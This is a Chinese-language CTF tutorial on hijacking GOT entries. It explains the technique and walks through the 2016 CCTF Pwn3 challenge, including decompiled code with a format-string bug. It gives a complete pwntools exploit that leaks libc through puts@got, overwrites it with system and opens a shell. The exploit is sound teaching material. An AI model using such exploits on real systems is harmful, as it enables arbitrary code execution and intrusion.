hijack Got

Table of Contents

原理

在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。

假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤:

  • 确定函数 A 的 GOT 表地址。
    • 这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。
  • 确定函数 B 的内存地址
    • 这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。
  • 将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。
    • 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
      • 写入函数:write 函数。
      • ROP
      pop eax; ret;           # printf@got -> eax
      pop ebx; ret;           # (addr_offset = system_addr - printf_addr) -> ebx
      add [eax] ebx; ret;     # [printf@got] = [printf@got] + addr_offset
      
      • 格式化字符串任意地址写

例子 - 2016 CCTF Pwn3

Checksec

# zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/hijack-GOT/2016-CCTF-pwn3 on git:master x [12:18:24]
$ checksec pwn3
[*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/hijack-GOT/2016-CCTF-pwn3/pwn3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

可以看出程序主要开启了 NX 保护。我们一般默认远程都是开启 ASLR 保护的。

分析程序

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int command; // eax
  char s1[40]; // [esp+14h] [ebp-2Ch] BYREF
  int v5; // [esp+3Ch] [ebp-4h]

  setbuf(stdout, 0);
  ask_username(s1);
  ask_password(s1);
  while ( 1 )
  {
    while ( 1 )
    {
      print_prompt();
      command = get_command();
      v5 = command;
      if ( command != 2 )
        break;
      put_file();
    }
    if ( command == 3 )
    {
      show_dir();
    }
    else
    {
      if ( command != 1 )
        exit(1);
      get_file();
    }
  }
}

get_file func

int get_file()
{
  char dest[200]; // [esp+1Ch] [ebp-FCh] BYREF
  char s1[40]; // [esp+E4h] [ebp-34h] BYREF
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", s1);
  if ( !strncmp(s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, s1) )
    {
      strcpy(dest, i + 40);
      return printf(dest);
    }
  }
  return printf(dest);
}

首先分析程序,可以发现程序似乎主要实现了一个需密码登录的 ftp,具有 get,put,dir 三个基本功能。大概浏览一下每个功能的代码,发现在 get 功能中存在格式化字符串漏洞。

漏洞利用思路

既然有了格式化字符串漏洞,那么我们可以确定如下的利用思路:

  • 绕过密码
  • 确定格式化字符串参数偏移
  • 利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址
  • 修改 puts@got 的内容为 system 的地址
  • 当程序再次执行 puts 函数的时候,其实执行的是 system 函数

Exploit

#!/usr/bin/env python3
from pwn import *

pwn3 = ELF('./pwn3')
libc = ELF('./libc.so')

# sh = process('./pwn3')
sh = remote('127.0.0.1', 12345)

def get(name):
    sh.sendline(b'get')
    sh.recvuntil(b'enter the file name you want to get:')
    sh.sendline(name)
    data = sh.recv()
    return data

def put(name, content):
    sh.sendline(b'put')
    sh.recvuntil(b'please enter the name of the file you want to upload:')
    sh.sendline(name)
    sh.recvuntil(b'then, enter the content:')
    sh.sendline(content)

def show_dir():
    sh.sendline(b'dir')

tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)

def password():
    sh.recvuntil(b'Name (ftp.hacker.server:Rainism):')
    sh.sendline(name.encode())  

password()

puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))

put(b'1111', b'%8$s' + p32(puts_got))
puts_addr = u32(get(b'1111')[:4])
log.success('puts addr : ' + hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
log.success('libc base : ' + hex(libc_base))
log.success('system addr : ' + hex(system_addr))

log.info('puts offset in libc: ' + hex(libc.sym['puts']))
log.info('system offset in libc: ' + hex(libc.sym['system']))

payload = fmtstr_payload(7, {puts_got: system_addr}, write_size='byte')
put(b'/bin/sh;', payload)

sh.recvuntil(b'ftp>')
sh.sendline(b'get')
sh.recvuntil(b'enter the file name you want to get:')

sh.sendline(b'/bin/sh;')

show_dir()
sh.interactive()

补充

  • 我在获取 puts 函数地址时使用的偏移是 8,这是因为我希望我输出的前 4 个字节就是 puts 函数的地址。其实格式化字符串的首地址的偏移是 7。
  • 这里我利用了 pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址处写入 system_addr 地址。默认情况下是按照字节来写的。